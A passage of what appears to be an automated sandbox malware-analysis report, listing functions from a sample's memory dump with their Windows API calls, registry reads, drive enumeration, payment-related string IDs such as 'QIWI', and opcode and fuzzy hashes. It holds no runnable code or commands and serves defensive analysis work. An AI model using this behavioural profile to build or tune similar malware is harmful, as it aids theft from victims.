                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?,?,?,0270709B), ref: 0270A78C
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,0270709B), ref: 0270A79D
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CreateHandle$CloseInformationMutexThread
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3835061634-0
                                                                                                                                                                                                                      • Opcode ID: fb787647963fff6d431431e3eada1224f1425d9167eddd695fae9c2c6b97c5bd
                                                                                                                                                                                                                      • Instruction ID: 11e77bc3819c81a7af476991990422aef1d85ac148840b5e27e02cb96dc6767a
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fb787647963fff6d431431e3eada1224f1425d9167eddd695fae9c2c6b97c5bd
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DFF09070ED2314BBEB208F65DD5EB5B3BF8AB04B42F508455FA00EE2C0D7B0A9108795
                                                                                                                                                                                                                      Function 0270B890 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • TerminateThread.KERNEL32(00000000,00000000,?,?,02708BDE,00000000,?,?,?,?,?,?), ref: 0270B8A0
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270B740,00000000,00000000,00000000,?,?,02708BDE,00000000,?,?,?,?,?,?), ref: 0270B8B5
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02708BDE,00000000), ref: 0270B8D3
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,02708BDE,00000000), ref: 0270B8E4
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1825730051-0
                                                                                                                                                                                                                      • Opcode ID: 3c4c7260939c5068781797b9bdb46ed3d92d6a21320b0b1bdd60f96e5a2b3f87
                                                                                                                                                                                                                      • Instruction ID: e9486a5ff36f851fe30c1ed1102f3255e73c92c9d3813f83c66c2530ef24ba78
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3c4c7260939c5068781797b9bdb46ed3d92d6a21320b0b1bdd60f96e5a2b3f87
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6AF0E970AC0304FBE7208BA5DC4BF5A37ECAB08B0AF104454F905E21C0E7B4A61487A8
                                                                                                                                                                                                                      Function 0270FE20 Relevance: 6.0, APIs: 4, Instructions: 36threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • TerminateThread.KERNEL32(00000000,00000000,?,?,02708E2E,00000000,?,?,?,?,?,?), ref: 0270FE30
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,0270FCD0,00000000,00000000,00000000,?,?,02708E2E,00000000,?,?,?,?,?,?), ref: 0270FE45
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?,00000000,?,?,02708E2E,00000000), ref: 0270FE63
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,02708E2E,00000000), ref: 0270FE74
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleThread$CloseCreateInformationTerminate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1825730051-0
                                                                                                                                                                                                                      • Opcode ID: 629a96f6074ad178997213fbd42866e708bb3c6fca8d467ad0cd1bc1407602b9
                                                                                                                                                                                                                      • Instruction ID: f64e3451d980b1e965e39c29146ac7e8a475e6a7bcb696683f07cdd79481a2d9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 629a96f6074ad178997213fbd42866e708bb3c6fca8d467ad0cd1bc1407602b9
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6CF0BE70AC4304FBE7308B64AC4AF5F37ECAB08B02F604454F909E20C1DBB0A9148666
                                                                                                                                                                                                                      Function 0270F840 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID: private$public
                                                                                                                                                                                                                      • API String ID: 0-4176808989
                                                                                                                                                                                                                      • Opcode ID: 16c0d042937ad6571d0f4b70b7c58ea95110f3a7481fdccde2e684d3a9a9cd94
                                                                                                                                                                                                                      • Instruction ID: 21041a728dd6bff64724b7ce857715ed7c9066505d9be2975dbd9d45b34e8336
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 16c0d042937ad6571d0f4b70b7c58ea95110f3a7481fdccde2e684d3a9a9cd94
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E6414B32A14205CACB34CA2C85D63F773E2EBC5318B584695D886CBAD4FF319549C782
                                                                                                                                                                                                                      Function 026F4100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetTickCount.KERNEL32(74DF3550,00000000,026F5637), ref: 026F4102
                                                                                                                                                                                                                      • _snprintf.MSVCRT(0274DAA0,00000104,%dd %dh %dm), ref: 026F4166
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CountTick_snprintf
                                                                                                                                                                                                                      • String ID: %dd %dh %dm
                                                                                                                                                                                                                      • API String ID: 3495410349-3074259717
                                                                                                                                                                                                                      • Opcode ID: f9cb07e9272c0b4014a5908160e1943db66139060c99acf3ada6018180f10d87
                                                                                                                                                                                                                      • Instruction ID: 5e9b1f75736f46587fdaf2c40c99de92f0b1d2f8d87b27a60c9aee64847fac8d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f9cb07e9272c0b4014a5908160e1943db66139060c99acf3ada6018180f10d87
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 60F08C72B4111417A36CA81DAC1AAAA9E9B87CC3223CDC63DFD0BCF3D9DDA49C5142D4
                                                                                                                                                                                                                      Function 0270EB00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 9COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: memset.MSVCRT ref: 0270E6CF
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: memset.MSVCRT ref: 0270E6F1
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: GetLogicalDriveStringsA.KERNEL32(00000104,?,?,00000000,0000040C,00000103), ref: 0270E706
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: SetErrorMode.KERNEL32(00000001), ref: 0270E71F
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: GetDriveTypeA.KERNEL32(?), ref: 0270E768
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: SetCurrentDirectoryA.KERNEL32(?), ref: 0270E77B
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: FindFirstFileA.KERNEL32(?,?), ref: 0270E7DD
                                                                                                                                                                                                                        • Part of subcall function 0270E6B0: SetErrorMode.KERNEL32(?), ref: 0270EAF3
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE25DE), ref: 0270EB0B
                                                                                                                                                                                                                        • Part of subcall function 027039D0: EnterCriticalSection.KERNEL32(0273FB68,74DE2E60,00000000,74DF0F00), ref: 027039E9
                                                                                                                                                                                                                        • Part of subcall function 027039D0: GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 027039FB
                                                                                                                                                                                                                        • Part of subcall function 027039D0: _snprintf.MSVCRT(?,00000104,%s%s,02749D68,?), ref: 02703A1B
                                                                                                                                                                                                                        • Part of subcall function 027039D0: SetCurrentDirectoryA.KERNEL32(?), ref: 02703A2B
                                                                                                                                                                                                                        • Part of subcall function 027039D0: PathAddBackslashA.SHLWAPI(?), ref: 02703B00
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CurrentDirectory$BackslashDriveErrorModePathmemset$CriticalEnterFileFindFirstLogicalSectionStringsType_snprintf
                                                                                                                                                                                                                      • String ID: 26EE25DE$COLV
                                                                                                                                                                                                                      • API String ID: 2461973751-1980812177
                                                                                                                                                                                                                      • Opcode ID: 684a156144c42ba4c5c0daaff19e49b84a0bdf76f0f06de096a34959e22feb90
                                                                                                                                                                                                                      • Instruction ID: 3225a53c67d7060e3de836be82e0c082d30188939cf45b66aa9c382328d21afb
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 684a156144c42ba4c5c0daaff19e49b84a0bdf76f0f06de096a34959e22feb90
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 93B092E1B92301A2710737A83D8F81A3FA16A88E277A0094E7443108868EA940949A7A
                                                                                                                                                                                                                      Function 02711F30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 9COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE2636), ref: 02711F36
                                                                                                                                                                                                                        • Part of subcall function 027039D0: EnterCriticalSection.KERNEL32(0273FB68,74DE2E60,00000000,74DF0F00), ref: 027039E9
                                                                                                                                                                                                                        • Part of subcall function 027039D0: GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 027039FB
                                                                                                                                                                                                                        • Part of subcall function 027039D0: _snprintf.MSVCRT(?,00000104,%s%s,02749D68,?), ref: 02703A1B
                                                                                                                                                                                                                        • Part of subcall function 027039D0: SetCurrentDirectoryA.KERNEL32(?), ref: 02703A2B
                                                                                                                                                                                                                        • Part of subcall function 027039D0: PathAddBackslashA.SHLWAPI(?), ref: 02703B00
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: BackslashCurrentDirectoryPath$CriticalEnterSection_snprintf
                                                                                                                                                                                                                      • String ID: 26EE2636$QIWI
                                                                                                                                                                                                                      • API String ID: 3646222188-2252699761
                                                                                                                                                                                                                      • Opcode ID: e23a5d7a2bc3670302e0625716659908eb8920a61cf3e1b1c4938cfe49ab4251
                                                                                                                                                                                                                      • Instruction ID: 82ec61ead026b63a068074f7d3f10182f9ad1421c3e6de429389250cb6484da3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e23a5d7a2bc3670302e0625716659908eb8920a61cf3e1b1c4938cfe49ab4251
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 54B092E27A3200A9320622F45E8F8162B90979894B710064F7043808509ED002104531
                                                                                                                                                                                                                      Function 0271B0A0 Relevance: 5.1, APIs: 4, Instructions: 65COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(00000028,?,?,?,?,02724DFF,?,?,?,?,?,?,00000005,?), ref: 0271B0AE
                                                                                                                                                                                                                      • malloc.MSVCRT(00000014,?,02724DFF,?,?,?,?,?,?,00000005,?,?,?,?,74DF3080), ref: 0271B0C3
                                                                                                                                                                                                                      • malloc.MSVCRT(00000028,?,02724DFF,?,?,?,?,?,?,00000005,?,?,?,?,74DF3080), ref: 0271B0E9
                                                                                                                                                                                                                      • malloc.MSVCRT(00000014,?,02724DFF,?,?,?,?,?,?,00000005,?,?,?,?,74DF3080), ref: 0271B104
                                                                                                                                                                                                                        • Part of subcall function 0271A9D0: free.MSVCRT(?,?,?,75977310,?,0271CEC2,?,?,?,0271A2D8), ref: 0271A9FF
                                                                                                                                                                                                                        • Part of subcall function 0271A9D0: free.MSVCRT(0271CEC2,?,?,75977310,?,0271CEC2,?,?,?,0271A2D8), ref: 0271AA0F
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: malloc$free
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1480856625-0
                                                                                                                                                                                                                      • Opcode ID: a1b57efc4c0a1c4517cd51dd0ffdadcc52f33fdf58f8e7d9ca2514f63823753d
                                                                                                                                                                                                                      • Instruction ID: 0fa9ba082ca8c818a4ba8d6f21e0faa15ae8b983585c01c0679dfae5f8a21400
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a1b57efc4c0a1c4517cd51dd0ffdadcc52f33fdf58f8e7d9ca2514f63823753d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0321CDB06013059FD710CF2AC884A46FBE8FF98310F15C5AAE5488B362D7B1E950CFA0
                                                                                                                                                                                                                      Function 02704A30 Relevance: 5.1, APIs: 4, Instructions: 54memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: memset.MSVCRT(?,00000000,000000FF,00000000), ref: 026F6CA1
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: memset.MSVCRT(?,00000000,00000103,?,00000000,000000FF,00000000), ref: 026F6CBF
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?,?,?,?,?,?,00000000), ref: 026F6CDB
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: RegQueryValueExA.ADVAPI32(?,D900DE38a,00000000,00000001,?,00000104,?,?,?,?,?,00000000), ref: 026F6D02
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: GetProcessHeap.KERNEL32(00000008,00000110,?,?,?,?,?,?,?,00000000), ref: 026F6D7A
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 026F6D81
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: memset.MSVCRT(00000000,00000000,00000110,?,?,?,?,?,00000000), ref: 026F6D95
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: lstrcpynA.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,?,?,00000000), ref: 026F6DAE
                                                                                                                                                                                                                        • Part of subcall function 026F6C70: RegCloseKey.ADVAPI32(?,?,?,?,?,?,00000000), ref: 026F6DBC
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,74DF0F10,00000000,0270A2D3), ref: 02704A88
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02704A8B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02704A98
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02704A9B
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Processmemset$AllocCloseFreeOpenQueryValidateValuelstrcpyn
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 789118668-0
                                                                                                                                                                                                                      • Opcode ID: 11d3ed41a500b4b18ee62e8a3967ca45743e290b19ac524e3b321ead3e976e38
                                                                                                                                                                                                                      • Instruction ID: 69ac86b3d22fa97ed118888fc86b7ecbe996aa782aaad206449c5bdcd9eb24a9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 11d3ed41a500b4b18ee62e8a3967ca45743e290b19ac524e3b321ead3e976e38
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1901FCF2B86140DADB249A7A6DB0737ABD9EFC1154B4D425AEA45C72C4E731CC04A35C
                                                                                                                                                                                                                      Function 026FEAE0 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000014,00000000,?,?,?,026FEF5B,00000000,?,?,00000000,Content-Type,?,?,00000000,Referer), ref: 026FEB1F
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,026FEF5B,00000000,?,?,00000000,Content-Type,?,?,00000000,Referer,?), ref: 026FEB26
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000014,?,026FEF5B,00000000,?,?,00000000,Content-Type,?,?,00000000,Referer,?), ref: 026FEB36
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,00000000,00000000,00000000,00000014,?,026FEF5B,00000000,?,?,00000000,Content-Type,?,?,00000000), ref: 026FEB41
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocProcessmemcpymemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 471586229-0
                                                                                                                                                                                                                      • Opcode ID: f776e9f07b02bebb6d16bba62b7d3175570a847422418705915a073813670917
                                                                                                                                                                                                                      • Instruction ID: 6eae62c3afc1e68460a93953bf9eb19b484a498f6caea2123a96a213b19097a4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f776e9f07b02bebb6d16bba62b7d3175570a847422418705915a073813670917
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EE01F7326006156BDB219A699C88F97BBDCBF45760B148701FF05CB2A1D722E90483E0
                                                                                                                                                                                                                      Function 026FF370 Relevance: 5.0, APIs: 4, Instructions: 35memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,?,00000000,?,026FFA2B,?,?,?), ref: 026FF388
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,026FFA2B,?,?,?), ref: 026FF38F
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,?,?,026FFA2B,?,?,?), ref: 026FF39F
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,00000000,00000000,?,?,026FFA2B,?,?,?), ref: 026FF3AA
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$AllocProcessmemcpymemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 471586229-0
                                                                                                                                                                                                                      • Opcode ID: 92c7ca1e3c4e78f061c7a37905cdd6d442ca94b7faa3db65e96b23b5f847c924
                                                                                                                                                                                                                      • Instruction ID: e4d2bb1b05425cc3b9b24698116567d27f571fd278b9fff4ba48da1e671bbd91
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 92c7ca1e3c4e78f061c7a37905cdd6d442ca94b7faa3db65e96b23b5f847c924
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5EF0E573A01A1477D6226AAA9C88F8B775CEF86761F414610FF04EB282CA30DC1087F4
                                                                                                                                                                                                                      Function 02734130 Relevance: 5.0, APIs: 4, Instructions: 24memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02734145
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02734148
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02734155
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02734158
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1670920773-0
                                                                                                                                                                                                                      • Opcode ID: 426cc51b5bfa46703f005493adcb2095626d1dd9240026e3486d2a18e7107d54
                                                                                                                                                                                                                      • Instruction ID: aca669244c93f36107a6e6fa0b5a87d6ac2b537fde17300563c70cb92ac6a5f9
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 426cc51b5bfa46703f005493adcb2095626d1dd9240026e3486d2a18e7107d54
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 15E01272A4262877D5206ABB6C0CF8BBB5CEF99B72F45C411F619E7241C6729410C6F0
                                                                                                                                                                                                                      Function 027041B0 Relevance: 5.0, APIs: 4, Instructions: 18memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,75A8EA50,02714B6D), ref: 027041BE
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 027041C1
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 027041CE
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 027041D1
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1670920773-0
